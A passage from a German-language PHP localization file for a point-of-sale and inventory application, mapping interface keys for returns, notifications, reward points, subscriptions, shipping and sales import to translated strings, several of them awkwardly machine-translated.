Betreff', 'email_body' => 'Nachrichtentext', 'sms_body' => 'SMS Body', 'available_tags' => 'Verfügbare Tags', 'send_notification' => 'Benachrichtigung senden', 'new_sale_notification' => 'Neue Verkaufsbenachrichtigung', 'send_email_only' => 'Nur E-Mail senden', 'send_sms_only' => 'Nur SMS senden', 'send_both_email_n_sms' => 'Senden Sie sowohl E-Mail als auch SMS', 'to' => 'Zu', 'mobile_number' => 'Handynummer', 'send' => 'Senden', 'notification_sent_successfully' => 'Benachrichtigung erfolgreich gesendet', 'payment_received_notification' => 'Benachrichtigung über Zahlungseingang senden', 'send_payment_reminder' => 'Senden Sie einen Zahlungsreiter', 'new_order_notification' => 'Benachrichtigung über neue Bestellung', 'item_received_notification' => 'Benachrichtigung über empfangene Objekte', 'item_pending_notification' => 'Benachrichtigung über ausstehende Artikel', 'payment_paid_notification' => 'Zahlungsbenachrichtigung', 'mail_host' => 'Wirt', 'mail_port' => 'Hafen', 'mail_username' => 'Nutzername', 'mail_password' => 'Passwort', 'mail_encryption' => 'Verschlüsselung', 'mail_from_address' => 'Von der Adresse', 'mail_from_name' => 'Von Namen', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Email Einstellungen', 'sms_settings' => 'SMS-Einstellungen', 'send_to_param_name' => 'Senden an Parametername', 'msg_param_name' => 'Name des Nachrichtenparameters', 'sms_settings_param_key' => 'Parameter: Nummerntaste', 'sms_settings_param_val' => 'Parameter: Zahlenwert', 'sending' => 'Senden', 'request_method' => 'Anforderungsmethode', 'purchase_return' => 'Rückgabe', 'return_quantity' => 'Rückgabemenge', 'return_subtotal' => 'Teilwert zurückgeben', 'quantity_left' => 'Restmenge', 'return_total' => 'Gesamtbetrag', 'total_return_tax' => 'Gesamtsteuer', 'purchase_return_added_success' => 'Kaufrendite erfolgreich hinzugefügt', 'list_purchase_return' => 'Kaufrückkauf auflisten', 'all_purchase_returns' => 'Alle Kaufretouren', 'parent_purchase' => 'Kauf von Eltern', 'purchase_return_details' => 'Details zur Kaufrückgabe', 'return_date' => 'Rückflugdatum', 'parent_sale' => 'Elternverkauf', 'sell_quantity' => 'Verkaufsmenge', 'total_return_discount' => 'Total Return Discount', 'sell_return_details' => 'Rückgabedetails verkaufen', 'sell_details' => 'Verkauf Details', 'return_discount' => 'Retourenrabatt', 'total_unit_transfered' => 'Summe übertragene Einheit', 'total_unit_adjusted' => 'Angepasste Gesamtmenge', 'return_exist' => 'Msgstr Rückgabe für die Transaktion vorhanden, bearbeiten Sie stattdessen die Rückgabe.', 'synced_from_woocommerce' => 'Von Woocommerce synchronisiert', 'available_stock_expired' => 'ODER der verfügbare Bestand ist abgelaufen.', 'sell_payments' => 'Berechtigung zum Hinzufügen / Bearbeiten / Löschen von Zahlungen in der Liste Verkauf / Listenkasse.', 'purchase_payments' => 'Berechtigung zum Hinzufügen / Bearbeiten / Löschen von Zahlungen in Listenkäufen.', 'sell.payments' => 'Zahlungen hinzufügen / bearbeiten / löschen', 'purchase.payments' => 'Zahlungen hinzufügen / bearbeiten / löschen', 'view_payment' => 'Zahlung anzeigen', 'card_number' => 'Kartennummer', 'transaction_number' => 'Transaktionsnummer', 'card_holder_name' => 'Name des Karteninhabers', 'card_transaction_number' => 'Kartentransaktion Nein', 'cheque_number' => 'Scheck-Nummer', 'commsn_percent_help' => 'Wird nur verwendet, wenn für Sales Commission Agent Type die Einstellung Angemeldeter Benutzer oder Aus Benutzerliste auswählen ausgewählt ist.', 'max_amount_to_be_paid_is' => 'Maximal zu zahlender Betrag ist: Betrag', 'adjusted_for' => 'Angepasst für', 'some_qty_returned' => 'Einige Mengen werden von diesem Kauf zurückgegeben', 'total_purchase_return' => 'Gesamtkaufrendite', 'total_purchase_return_paid' => 'Gesamter Kaufpreis', 'total_purchase_return_inc_tax' => 'Gesamterkaufsrendite einschließlich Steuern', 'purchase_sell_report_formula' => 'Gesamt (Verkauf - Verkauf - Kauf - Kauf)', 'purchase_return_due' => 'Kaufrückgabe fällig', 'total_purchase_return_due' => 'Gesamter fälliger Kauf', 'receive_purchase_return_due' => 'Erhaltene Kaufrückgabe fällig', 'some_qty_returned_from_sell' => 'Einige Mengen werden von diesem Verkauf zurückgegeben', 'sell_due' => 'Verkaufen aufgrund', 'sell_return_due' => 'Rendite zurück verkaufen', 'total_sell_return_due' => 'Gesamtverkaufsrendite fällig', 'pay_sell_return_due' => 'Pay Sell Return Due', 'total_sell_return' => 'Gesamtverkaufsrendite', 'total_sell_return_paid' => 'Gesamtverkaufsrendite bezahlt', 'total_sell_return_inc_tax' => 'Gesamtverkaufsrendite einschließlich Steuern', 'tooltip_columnize_taxes_heading' => 'Geben Sie den Steuernamen für Überschriften ein. Überschriften sollten im Steuernamen vorhanden sein. Überschriften können zum Beispiel CGST, SGST, IGST & CESS sein % usw', 'sales_payment_dues' => 'Verkäufe fällig', 'purchase_payment_dues' => 'Kaufzahlung fällig', 'tooltip_sales_payment_dues' => "Ausstehende Zahlung für Verkäufe. <br/> <small class='text-muted'> Basierend auf der Zahlungsfrist der Rechnung. <br/> Zeigt an, dass Zahlungen in weniger als 7 Tagen eingehen. </small>", 'edit_product_price_from_sale_screen' => 'Produktpreis im Bildschirm Verkauf bearbeiten', 'edit_product_discount_from_sale_screen' => 'Produktrabatt vom Bildschirm Verkauf bearbeiten', 'autosend_email' => 'Automatisch E-Mail senden', 'autosend_sms' => 'SMS automatisch senden', 'enable_selected_contacts' => 'Ausgewählte Kontakte einschränken', 'tooltip_enable_selected_contacts' => 'Beschränken Sie den Zugriff auf ausgewählte Kontakte in das Suchfeld Verkäufer / Einkaufskunde / Anbieter ', 'selected_contacts' => 'Kontakte auswählen', 'view_role' => 'Rolle anzeigen', 'delete_role' => 'Rolle löschen', 'mail_driver' => 'Mail Driver', 'disable_suspend_sale' => 'Verkauf aussetzen deaktivieren', 'suspend' => 'Aussetzen', 'suspend_note' => 'Notiz aussetzen', 'suspend_sale' => 'Verkauf unterbrechen', 'view_suspended_sales' => 'Aussetzung von Verkäufen anzeigen', 'suspended_sales' => 'Aussetzung des Verkaufs', 'tooltip_suspend' => 'Verkauf unterbrechen (Pause)', 'business_telephone' => 'Geschäftskontaktnummer', 'accept_terms_and_conditions' => 'AGB akzeptieren', 'terms_conditions' => 'Terms & amp; Bedingungen', 'product_description' => 'Produktbeschreibung', 'click_here' => 'Klick hier', 'for_more_info' => 'Für mehr Information', 'username_help' => 'Leer lassen, um den Benutzernamen automatisch zu generieren', 'status_for_user' => 'Ist aktiv ?', 'tooltip_enable_user_active' => 'Aktivieren / Deaktivieren, um einen Benutzer zu aktivieren / deaktivieren.', 'user_inactive' => 'Sorry, Konto ist inaktiv', 'calculator' => 'Taschenrechner', 'fields_for_customer_details' => 'Felder für Kundendaten', 'show_previous_bal_due' => 'Gesamtsumme fällig stellen (Alle Verkäufe)', 'previous_bal_due_help' => 'Aktivieren Sie dieses Feld, um die Summe der Saldobeträge für alle Verkäufe des Kunden anzuzeigen, falls vorhanden', 'all_sales' => 'Alle Verkäufe', 'current_sale' => 'Aktueller Verkauf', 'view_invoice_url' => 'Rechnungs-URL anzeigen', 'copy' => 'Kopieren', 'extra_tags' => 'Zusätzliche Tags', 'date_time_format' => 'Datum Zeitformat', 'date_time_format_help' => "Geben Sie Datum und Uhrzeit in ein <a target='_blank' href='http://php.net/manual/en/function.date.php'>PHP-Datetime-Format</a>. Bei leerem Geschäftsdatum wird das Uhrzeitformat angewendet", 'all' => 'Alles', 'detailed' => 'Detailliert', 'grouped' => 'Gruppiert (Nach Datum)', 'disable_recurring_invoice' => 'Wiederkehrende Rechnung deaktivieren', 'is_recurring' => 'Wiederholt sich', 'recurring_invoice_help' => 'Wenn abonniert wird, wird diese Rechnung in regelmäßigen Abständen automatisch generiert. <br> Sie können diese Funktion in <code> Einstellungen > Geschäftseinstellungen > Modules </code> deaktivieren', 'recurring_invoice' => 'Wiederkehrende Rechnung', 'years' => 'Jahre', 'no_of_repetitions' => 'Anzahl der Wiederholungen', 'recur_repetition_help' => 'Wenn die leere Rechnung unendlich oft erstellt wird', 'recurring_invoice_message' => 'Neue Rechnung für Abonnement-Nr. Generiert: <i>:subscription_no</i>, Rechnungsnummer: <i>:invoice_no</i>', 'notifcation_count_msg' => 'Sie haben :count Benachrichtigungen', 'no_notifications_found' => 'Keine Benachrichtigungen gefunden', 'edit_multi_unit_help_text' => 'Wenn Sie diesen Wert bearbeiten, werden die Einkaufs- und Verkaufsbestände entsprechend geändert.', 'sale_price_is_minimum_sale_price' => 'Verkaufspreis ist minimaler Verkaufspreis', 'minimum_sale_price_help' => 'Wenn diese Option aktiviert ist, ist der Standardverkaufspreis auf dem Bildschirm POS oder Verkauf der Mindestverkaufspreis für das Produkt. Sie können keinen Preis unter dem Standardverkaufspreis festlegen.', 'minimum_selling_price_error_msg' => 'Mindestverkaufspreis ist :price', 'lot_numbers_are_used_in_sale' => 'Kann nicht gelöscht werden. Einige Lots dieses Kaufs sind bereits verkauft', 'created_at' => 'Hergestellt in', 'download' => 'Herunterladen', 'previous_file_will_be_replaced' => 'Die zuvor hochgeladene Datei wird ersetzt', 'access_accounts' => 'Zugriff auf Konten', 'payment_accounts' => 'Zahlungskonten', 'total_shipping_charges' => 'Gesamt Versandkosten', 'recurring_invoice_error_message' => 'Rechnung kann nicht erstellt werden für Subskriptionsnummer: <i>:subscription_no</i>. Erforderlicher Bestand für Produkt <i>:product_name</i> nicht vorhanden', 'load_more' => 'Mehr laden', 'cash_flow' => 'Bargeldumlauf', 'subscribe' => 'Abonnieren', 'subscription_interval' => 'Abonnementintervall', 'enable_subscription' => 'Abonnement aktivieren', 'subscription_no' => 'Abonnement-Nr.', 'start_subscription' => 'Abonnement starten', 'stop_subscription' => 'Abonnement beenden', 'subscriptions' => 'Abonnements', 'generated_invoices' => 'Generierte Rechnungen', 'last_generated' => 'Zuletzt generiert', 'upcoming_invoice' => 'Kommende Rechnung', 'total_sales_return' => 'Gesamtumsatzrendite', 'subscription_invoice' => 'Abonnementrechnung', 'subscribed_invoice' => 'Abonnierte Rechnung', 'view_document' => 'Dokument anzeigen', 'invoice_url_help' => 'Link zum Anzeigen der Rechnung ohne Login.', 'unit_cannot_be_deleted' => 'Produkte existieren mit dieser Einheit; Kann nicht gelöscht werden', 'expiry_date_in_business_date_format' => 'Verfallsdatum des Bestands in <b>Format des Geschäftsdatums</b>', 'product_stock_details' => 'Details zum Produktbestand', 'search' => 'Suche', 'total_sold' => 'Insgesamt verkauft', 'total_stock_available' => 'Gesamtbestand verfügbar', 'total_stock_transfered_to_the_location' => 'Gesamtbestand, der an den Standort übertragen wurde', 'total_stock_transfered_from_the_location' => 'Summe der vom Standort übertragenen Bestände', 'total_stock_calculated' => 'Lagerbestand insgesamt', 'adjust_stock_mismatch' => 'Passen Sie die Übereinstimmung der Aktien an', 'opening_balance_payments' => 'Eröffnungsbilanzzahlungen', 'enable_service_staff_in_product_line' => 'Servicepersonal in Produktlinie aktivieren', 'inline_service_staff_tooltip' => 'Wenn aktiviert, können für eine Bestellung / einen Verkauf verschiedene Servicemitarbeiter für verschiedene Produkte zugewiesen werden', 'line_orders' => 'Zeilenaufträge', 'total_tax' => 'Gesamtsteuer', 'total_discount' => 'Totaler Rabatt', 'net_price' => 'Nettopreis', 'select_same_for_all_rows' => 'Wählen Sie für alle Produkte den gleichen Wert', 'edited' => 'Bearbeitet', 'by' => 'Durch', 'upload_documents' => 'Dokumente hochladen', 'documents' => 'Unterlagen', 'click_to_print' => 'Zum Drucken klicken', 'deactivated_success' => 'Erfolgreich deaktiviert', 'products_could_not_be_deleted' => 'Einige Produkte konnten nicht gelöscht werden, da Transaktionen damit verbunden sind.', 'price' => 'Preis', 'auto_backup_instruction' => 'Um die automatische Sicherung und die Sicherungsbereinigung zu aktivieren, müssen Sie einen Cron-Job mit diesem Befehl einrichten', 'gross_profit' => 'Bruttoertrag', 'single' => 'Single', 'variable' => 'Variable', 'total_purchase_price' => 'Gesamtkaufpreis', 'total_sell_price' => 'Gesamtverkaufspreis', 'packing_slip' => 'Packzettel', 'use_superadmin_email_settings' => 'System-E-Mail-Konfigurationen verwenden', 'profit_by_products' => 'Profit durch Produkte', 'profit_by_categories' => 'Profit nach Kategorien', 'profit_by_brands' => 'Profitieren Sie von Marken', 'profit_by_locations' => 'Profitieren Sie von Standorten', 'profit_by_invoice' => 'Gewinn auf Rechnung', 'profit_by_date' => 'Gewinn nach Datum', 'uncategorized' => 'Nicht kategorisiert', 'add_purchase_return' => 'Kaufrückgabe hinzufügen', 'edit_purchase_return' => 'Kaufretoure bearbeiten', 'purchase_return_updated_success' => 'Kaufretoure erfolgreich aktualisiert', 'profit_by_customer' => 'Profitieren Sie vom Kunden', 'profit_by_day' => 'Profit by day', 'sunday' => 'Sonntag', 'monday' => 'Montag', 'tuesday' => 'Dienstag', 'wednesday' => 'Mittwoch', 'thursday' => 'Donnerstag', 'friday' => 'Freitag', 'saturday' => 'Samstag', 'show_product_image' => 'Produktbild anzeigen', 'view_user' => 'Benutzer anzeigen', 'allow_selected_contacts' => 'Ausgewählte Kontakte zulassen', 'allow_selected_contacts_tooltip' => 'Nur Zugriff auf ausgewählte Kontakte im Feld für die Suche nach Verkäufen / Käufen von Kunden / Lieferanten erlauben', 'allowed_contacts' => 'Zulässige Kontakte', 'view_purchase_price' => 'Kaufpreis anzeigen', 'view_purchase_price_tooltip' => 'Berechtigung zum Anzeigen des Einkaufspreises in den Produktdetails, beim Lagertransfer und bei der Lageranpassung', 'created' => 'Erstellt', 'updated' => 'Aktualisierte', 'deleted' => 'Gelöscht', 'day' => 'Tag', 'is_service_staff_required' => 'Wird Servicepersonal benötigt', 'items_report' => 'Artikelbericht', 'purchase_price' => 'Kaufpreis', 'sell_date' => 'Verkaufsdatum', 'returned' => 'ist zurückgekommen', 'dob' => 'Geburtsdatum', 'married' => 'Verheiratet', 'unmarried' => 'Unverheiratet', 'marital_status' => 'Familienstand', 'blood_group' => 'Blutgruppe', 'divorced' => 'Geschieden', 'contact_no' => 'Kontakt Nummer', 'fb_link' => 'Facebook Link', 'twitter_link' => 'Twitter Link', 'social_media' => 'Social Media :number', 'permanent_address' => 'Fester Wohnsitz', 'current_address' => 'Momentane Adresse', 'guardian_name' => 'Guardian Name', 'custom_field' => 'Benutzerdefiniertes Feld :number', 'bank_details' => 'Bankdaten', 'account_holder_name' => 'Der Name des Kontoinhabers', 'account_number' => 'Kontonummer', 'bank_name' => 'Bank Name', 'bank_code' => 'Bankleitzahl', 'bank_code_help' => 'Ein eindeutiger Code zur Identifizierung der Bank in Ihrem Land, zum Beispiel: IFSC-Code', 'branch' => 'Ast', 'tax_payer_id' => 'Steuerzahleridentifikationsnummer', 'tax_payer_id_help' => 'Steuernummer des Mitarbeiters, z. B. PAN-Karte in Indien', 'more_info' => 'Mehr Informationen', 'id_proof_name' => 'ID Proof Name', 'id_proof_number' => 'ID Proof Nummer', 'view_own_sell_only' => 'Nur eigenen Verkauf anzeigen', 'reward_point_settings' => 'Belohnungspunkteinstellungen', 'enable_rp' => 'Belohnungspunkt aktivieren', 'rp_name' => 'Belohnungspunkt-Anzeigename', 'amount_for_unit_rp' => 'Betrag für Einheitspunkte', 'min_order_total_for_rp' => 'Mindestbestellmenge, um Belohnung zu verdienen', 'max_rp_per_order' => 'Maximale Punktzahl pro Bestellung', 'earning_points_setting' => 'Einstellungen für das Sammeln von Punkten', 'redeem_points_setting' => 'Punkte einlösen', 'redeem_amount_per_unit_rp' => 'Betrag pro Einheitspunkt einlösen', 'min_order_total_for_redeem' => 'Mindestbestellmenge zum Einlösen von Punkten', 'min_redeem_point' => 'Mindesteinlösungspunkt', 'max_redeem_point' => 'Maximaler Einlösungspunkt pro Bestellung', 'rp_expiry_period' => 'Ablauffrist für Prämienpunkte', 'redeemed_amount' => 'Eingelöster Betrag', 'max_points_used' => 'Maximum :points Punkte können verwendet werden', 'reward_points' => 'Belohnungspunkte', 'max_reward_point_available' => 'Maximum :name verfügbar', 'min_reward_points_used' => 'Minimum :name kann verwendet werden', 'redeemed' => 'Eingelöst', 'available' => 'Verfügbar', 'earned' => 'Verdient', 'total_reward_amount' => 'Total Kundenbelohnung', 'ledger' => 'Hauptbuch', 'type' => 'Art', 'show_payments' => 'Zahlungen anzeigen', 'variation_images' => 'Variationsbilder', 'file_deleted_successfully' => 'Datei erfolgreich gelöscht', 'combo' => 'Combo', 'not_for_selling' => 'Nicht zum Verkaufen', 'tooltip_not_for_selling' => 'Wenn diese Option aktiviert ist, wird das Produkt zu Verkaufszwecken nicht im Verkaufsbildschirm angezeigt.', 'show_reward_point' => 'Belohnungspunkt anzeigen', 'enable_booking' => 'Buchungen aktivieren', 'bulk_edit' => 'Bulk-Bearbeitung', 'bulk_edit_products' => 'Massenbearbeitung von Produkten', 'search_product_to_edit' => 'Produkt zum Bearbeiten suchen', 'related_sub_units' => 'Verwandte Untereinheiten', 'sub_units_tooltip' => 'Basierend auf der ausgewählten Einheit werden Untereinheiten für diese Einheit angezeigt. Wählen Sie die zutreffende Untereinheit aus. Lassen Sie das Feld leer, wenn alle Untereinheiten für das Produkt zutreffen.', 'enable_sub_units' => 'Untereinheiten aktivieren', 'added_on' => 'Hinzugefügt zu', 'quantity_mismatch_exception' => 'FEHLER: NICHT ERLAUBT: Nichtübereinstimmung zwischen verkaufter und verfügbarer Menge. Produkt: :product', 'roles_and_permissions' => 'Rollen und Berechtigungen', 'admin_role_location_permission_help' => 'Admin kann auf alle Standorte zugreifen', 'edit_product_price_from_pos_screen' => 'Produktpreis vom POS-Bildschirm aus bearbeiten', 'edit_product_discount_from_pos_screen' => 'Produktrabatt vom POS-Bildschirm aus bearbeiten', 'download_template_file' => 'Vorlagendatei herunterladen', 'types_of_service' => 'Arten von Dienstleistungen', 'add_type_of_service' => 'Art des Dienstes hinzufügen', 'packing_charge_type' => 'Packgebührentyp', 'packing_charge' => 'Verpackungsgebühr', 'enable_custom_fields' => 'Benutzerdefinierte Felder aktivieren', 'edit_type_of_service' => 'Art des Dienstes bearbeiten', 'types_of_service_help' => 'Art der Dienstleistung bedeutet Dienstleistungen wie Dine-In, Paket, Hauszustellung, Lieferung durch Dritte usw.', 'select_types_of_service' => 'Arten von Diensten auswählen', 'service_custom_field_1' => 'Benutzerdefiniertes Feld 1', 'service_custom_field_2' => 'Benutzerdefiniertes Feld 2', 'service_custom_field_3' => 'Benutzerdefiniertes Feld 3', 'service_custom_field_4' => 'Benutzerdefiniertes Feld 4', 'default_selling_price_group' => 'Standardverkaufspreisgruppe', 'location_price_group_help' => 'Diese Preisgruppe wird an diesem Standort als Standardpreisgruppe verwendet.', 'default_accounts' => 'Standardkonto', 'product_location_help' => 'Standorte, an denen das Produkt verfügbar sein wird.', 'available_in_locations' => 'Verfügbar an Standorten', 'enable' => 'Aktivieren', 'payment_options' => 'Zahlungsmöglichkeiten', 'pay_reference_no' => 'Referenznummer bezahlen.', 'search_settings' => 'Sucheinstellungen', 'custom_labels' => 'Benutzerdefinierte Etiketten', 'labels_for_custom_payments' => 'Etiketten für benutzerdefinierte Zahlungen', 'packed' => 'Verpackt', 'shipped' => 'Versendet', 'delivered' => 'Geliefert', 'shipping_address' => 'Lieferanschrift', 'shipping_status' => 'Versandstatus', 'delivered_to' => 'Geliefert an', 'edit_shipping' => 'Versand bearbeiten', 'shipments' => 'Sendungen', 'access_shipping' => 'Zugang Versand', 'uploaded_by' => 'Hochgeladen von', 'account_types' => 'Kontoarten', 'add_account_type' => 'Kontotyp hinzufügen', 'parent_account_type' => 'Übergeordneter Kontotyp', 'edit_account_type' => 'Kontotyp bearbeiten', 'account_type' => 'Konto Typ', 'account_sub_type' => 'Konto-Untertyp', 'enable_updating_product_price_tooltip' => 'Wenn der Kaufpreis und der Verkaufspreis des aktivierten Produkts aktualisiert werden, nachdem ein Kauf hinzugefügt oder aktualisiert wurde', 'default_datatable_page_entries' => 'Standardmäßig datierbare Seiteneinträge', 'product_not_found_exception' => 'Produkt mit Artikelnummer :sku nicht in Zeile :sku gefunden', 'price_group_not_found_exception' => 'Preisgruppe mit Name :pg in Zeile :row nicht gefunden', 'price_group_non_numeric_exception' => 'Nicht numerischer Preis in Zeile :row gefunden', 'total_stock_price' => 'Aktueller Aktienwert', 'test_email_configuration' => 'Test-E-Mail senden', 'email_tested_successfully' => 'E-Mail-Konfigurationen erfolgreich überprüft', 'test_number' => 'Testnummer', 'test_sms_configuration' => 'Test-SMS senden', 'test_number_is_required' => 'Testnummer ist erforderlich', 'import_contact_type_ins' => 'Verfügbare Optionen: <strong> <br> 1 = Kunde, <br> 2 = Lieferant und 3 = Beide </strong>', 'enable_pos_transaction_date' => 'Transaktionsdatum auf POS-Bildschirm aktivieren', 'amount_for_unit_rp_tooltip' => '<strong> Bedeutet, wie viel der Kunde ausgegeben hat, um einen Prämienpunkt zu erhalten. </strong> <br> <br> <strong> Beispiel: </strong> Wenn Sie den Wert auf 10 festlegen, werden diese für jeweils 10 US-Dollar ausgegeben Wenn der Kunde für $ 1000 einkauft, erhält er 100 Bonuspunkte. ', 'max_rp_per_order_tooltip' => 'Maximale Prämienpunkte, die Kunden mit einer Rechnung verdienen können. Lassen Sie dieses Feld leer, wenn Sie keine derartigen Einschränkungen wünschen.', 'min_order_total_for_rp_tooltip' => '<strong> Der Mindestbetrag, den der Kunde ausgeben sollte, um Prämienpunkte zu erhalten. </strong> <br> <br> <strong> Beispiel: </strong> Wenn Sie den Wert auf 100 festlegen, erhält der Kunde nur dann Prämienpunkte, wenn diese vorhanden sind Rechnungssumme ist größer oder gleich 100. Wenn die Rechnungssumme 99 ist, erhalten sie keine Belohnungspunkte. <br> <br> Sie können sie als Minimum 1 festlegen. ', 'redeem_amount_per_unit_rp_tooltip' => '<strong> Gibt den Einlösungsbetrag pro Punkt an. </strong> <br> <br> <strong> Zum Beispiel: </strong> Wenn 1 Punkt $ 1 ist, geben Sie den Wert als 1 ein. Wenn 2 Punkte $ 1 sind, dann geben Sie den Wert als 0.50 ein', 'min_order_total_for_redeem_tooltip' => 'Mindestbestellmenge, für die der Kunde Punkte einlösen kann. Lassen Sie dieses Feld leer, wenn Sie diese Einschränkung nicht benötigen, oder geben Sie etwas kostenlos.', 'min_redeem_point_tooltip' => 'Minimale Einlösungspunkte, die pro Rechnung verwendet werden können. Lassen Sie dieses Feld leer, wenn Sie diese Einschränkung nicht benötigen.', 'max_redeem_point_tooltip' => 'Maximale Punktzahl, die in einer Bestellung verwendet werden kann. Lassen Sie dieses Feld leer, wenn Sie diese Einschränkung nicht benötigen.', 'rp_expiry_period_tooltip' => '<strong> Ablauffrist für vom Kunden verdiente Punkte. </strong> <br> <br> Sie können diese in Monaten oder im Jahr festlegen. Abgelaufene Punkte werden nach Ablauf dieser Frist automatisch vom Kundenkonto abgezogen.', 'configure_product_search' => 'Produktsuche konfigurieren', 'search_products_by' => 'Produkte suchen nach', 'credit_sales' => 'Kreditverkäufe', 'total_payment' => 'Gesamtzahlung', 'deactivate_location' => 'Standort deaktivieren', 'activate_location' => 'Standort aktivieren', 'business_location_activated_successfully' => 'Wirtschaftsstandort erfolgreich aktiviert', 'business_location_deactivated_successfully' => 'Wirtschaftsstandort erfolgreich deaktiviert', 'show_credit_sale_button' => 'Show Credit Sale Button', 'show_credit_sale_btn_help' => 'Msgstr Wenn die Schaltfläche Guthabenverkauf anstelle der Schaltfläche Karte auf dem POS - Bildschirm angezeigt wird', 'credit_sale' => 'Kreditverkauf', 'tooltip_credit_sale' => 'Kasse als Guthabenverkauf', 'add_as_sub_txonomy' => 'Als Subtaxonomie hinzufügen', 'select_parent_taxonomy' => 'Wählen Sie die übergeordnete Taxonomie aus', 'warranty' => 'Garantie', 'warranties' => 'Garantien', 'all_warranties' => 'Alle Garantien', 'add_warranty' => 'Garantie hinzufügen', 'duration' => 'Dauer', 'edit_warranty' => 'Garantie bearbeiten', 'enable_product_warranty' => 'Garantie aktivieren', 'warranty_ends_on' => 'Garantie endet am', 'restaurant_module_settings' => 'Restaurant Modul Einstellungen', 'warranty_module_settings' => 'Einstellungen des Garantiemoduls', 'show_warranty_name' => 'Garantienamen anzeigen', 'show_warranty_exp_date' => 'Verfallsdatum der Garantie anzeigen', 'show_warranty_description' => 'Garantiebeschreibung anzeigen', 'gender' => 'Geschlecht', 'male' => 'Männlich', 'female' => 'Weiblich', 'others' => 'Andere', 'recent_transactions' => 'Kürzliche Transaktionen', 'add_row' => 'Zeile hinzufügen', 'add_widget_here' => 'Hier ein Widget hinzufügen', 'move_row' => 'Verschiebe die Reihe', 'configure_dashboard' => 'Dashboard konfigurieren :name', 'change_return_label' => 'Rücksendeetikett ändern', 'change_return_help' => 'Rückgabe ändern ist der Betrag, der an den Kunden zurückgegeben wird, wenn eine Überzahlung erfolgt ist.', 'profile_photo' => 'Profilfoto', 'upload_image' => 'Bild hochladen', 'expense_tax' => 'Expense Tax', 'expense_tax_tooltip' => 'Gesamtsteuer auf Geschäftsausgaben für den ausgewählten Zeitraum', 'tax_overall' => 'Gesamt (Input - Output - Aufwand)', 'overdue' => 'Überfällig', 'partial-overdue' => 'Teilweise überfällig', 'due_date_label' => 'Fälligkeitsdatum Etikett', 'show_due_date' => 'Fälligkeitsdatum anzeigen', 'contact_custom_field1' => 'Benutzerdefiniertes Feld 1', 'contact_custom_field2' => 'Benutzerdefiniertes Feld 2', 'contact_custom_field3' => 'Benutzerdefiniertes Feld 3', 'contact_custom_field4' => 'Benutzerdefiniertes Feld 4', 'added_by' => 'Hinzugefügt von', 'authorized_signatory' => 'Zeichnungsberechtigte', 'no_location_access_found' => 'Kein Standortzugriff gefunden', 'location_custom_field1' => 'Benutzerdefiniertes Feld 1', 'location_custom_field2' => 'Benutzerdefiniertes Feld 2', 'location_custom_field3' => 'Benutzerdefiniertes Feld 3', 'location_custom_field4' => 'Benutzerdefiniertes Feld 4', 'user_custom_field1' => 'Benutzerdefiniertes Feld 1', 'user_custom_field2' => 'Benutzerdefiniertes Feld 2', 'user_custom_field3' => 'Benutzerdefiniertes Feld 3', 'user_custom_field4' => 'Benutzerdefiniertes Feld 4', 'logo_not_work_in_sms' => 'Das Geschäftslogo funktioniert in SMS nicht', 'notification_email_tooltip' => 'Kommagetrennte Folge von Empfänger-E-Mails', 'heading' => 'Überschrift', 'updated_at' => 'Aktualisiert am', 'documents_and_notes' => 'Documents & Note', 'add_note' => 'Notiz hinzufügen', 'edit_note' => 'Notiz bearbeiten', 'is_private' => 'Ist privat?', 'private' => 'Privat', 'documents' => 'Unterlagen', 'note_will_be_visible_to_u_only' => 'Notiz & Dokument sind nur für Sie sichtbar', 'activities' => 'Aktivitäten', 'no_limit' => 'Keine Begrenzung', 'contains_media' => 'Diese Notiz enthält Medien', 'private_note' => 'Dies ist eine private Notiz', 'amount_rounding_method' => 'Betragsrundungsmethode', 'round_to_nearest_whole_number' => 'Runde auf die nächste ganze Zahl', 'round_to_nearest_decimal' => 'Auf nächste Dezimalstelle runden (Vielfaches von :multiple)', 'amount_rounding_method_help' => 'Beispiel: <br> <b> Auf nächste ganze Zahl runden: </b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br> <b> Auf nächste Dezimalstelle runden (Vielfaches von 0.05): </b> 2,11 => 2,10, 2,12 => 2,10, 2,13 => 2,15 ', 'round_off' => 'Abrunden', 'round_off_label' => 'Abrundungsetikett', 'total_sell_round_off' => 'Verkauf insgesamt abrunden', 'user_info' => 'Nutzerinformation', 'enable_weighing_scale' => 'Waage aktivieren', 'weighing_scale_setting' => 'Wiegen der Barcode-Einstellung', 'weighing_scale_setting_help' => 'Konfigurieren Sie den Barcode gemäß Ihrer Waage.', 'weighing_barcode_prefix' => 'Präfix', 'weighing_product_sku_length' => 'Produktlänge', 'weighing_qty_integer_part_length' => 'Menge ganzzahlige Teillänge', 'weighing_qty_fractional_part_length' => 'Menge Bruchteil Länge', 'weighing_scale' => 'Waage', 'weighing_scale_barcode' => 'Waagen-Barcode', 'weighing_scale_barcode_help' => 'Scannen Sie den Barcode vom Wiegeverkauf und senden Sie ihn ab', 'prefix_did_not_match' => 'Präfix stimmte nicht überein', 'sku_not_match' => 'Kein Produkt mit sku gefunden :sku', 'total_quantity_label' => 'Gesamtmengenetikett', 'account_summary' => 'Kontoübersicht', 'ledger_table_heading' => 'Alle Rechnungen und Zahlungen zwischen :start_date und :end_date anzeigen', 'beginning_balance' => 'Anfangsbestand', 'total_invoice' => 'Gesamtrechnung', 'balance_due' => 'Restbetrag fällig', 'send_ledger' => 'Ledger senden', 'notifications' => 'Benachrichtigungen', 'ledger_attacment_help' => 'Das Hauptbuch wird mit dieser E-Mail im PDF-Format angehängt', 'upload_module' => 'Upload-Modul', 'upload' => 'Hochladen', 'pls_upload_valid_zip_file' => 'Bitte laden Sie eine gültige Zip-Datei hoch.', 'import_sales' => 'Verkäufe importieren', 'preview_imported_sales' => 'Vorschau importierter Verkäufe', 'customer_phone_number' => 'Telefonnummer des Kunden', 'customer_email' => 'Kunden-eMail', 'item_tax' => 'Artikelsteuer', 'item_discount' => 'Artikelrabatt', 'item_description' => 'Artikelbeschreibung', 'order_total' => 'Auftragssumme', 'upload_and_review' => 'Hochladen und überprüfen', 'group_sale_line_by' => 'Group Sell Line by', 'import_sale_product_not_found' => 'Produkt mit Name :product_name oder SKU :sku nicht in Zeile :row gefunden', 'import_sale_tax_not_found' => 'Steuer mit Name :tax_name nicht in Zeile :row gefunden', 'email_or_phone_required' => 'Telefon oder E-Mail des Kunden ist erforderlich', 'product_name_or_sku_is_required' => 'Produktname oder SKU erforderlich', 'quantity_is_required' => 'Menge ist erforderlich', 'unit_price_is_required' => 'Stückpreis ist erforderlich', 'sales_imported_successfully' => 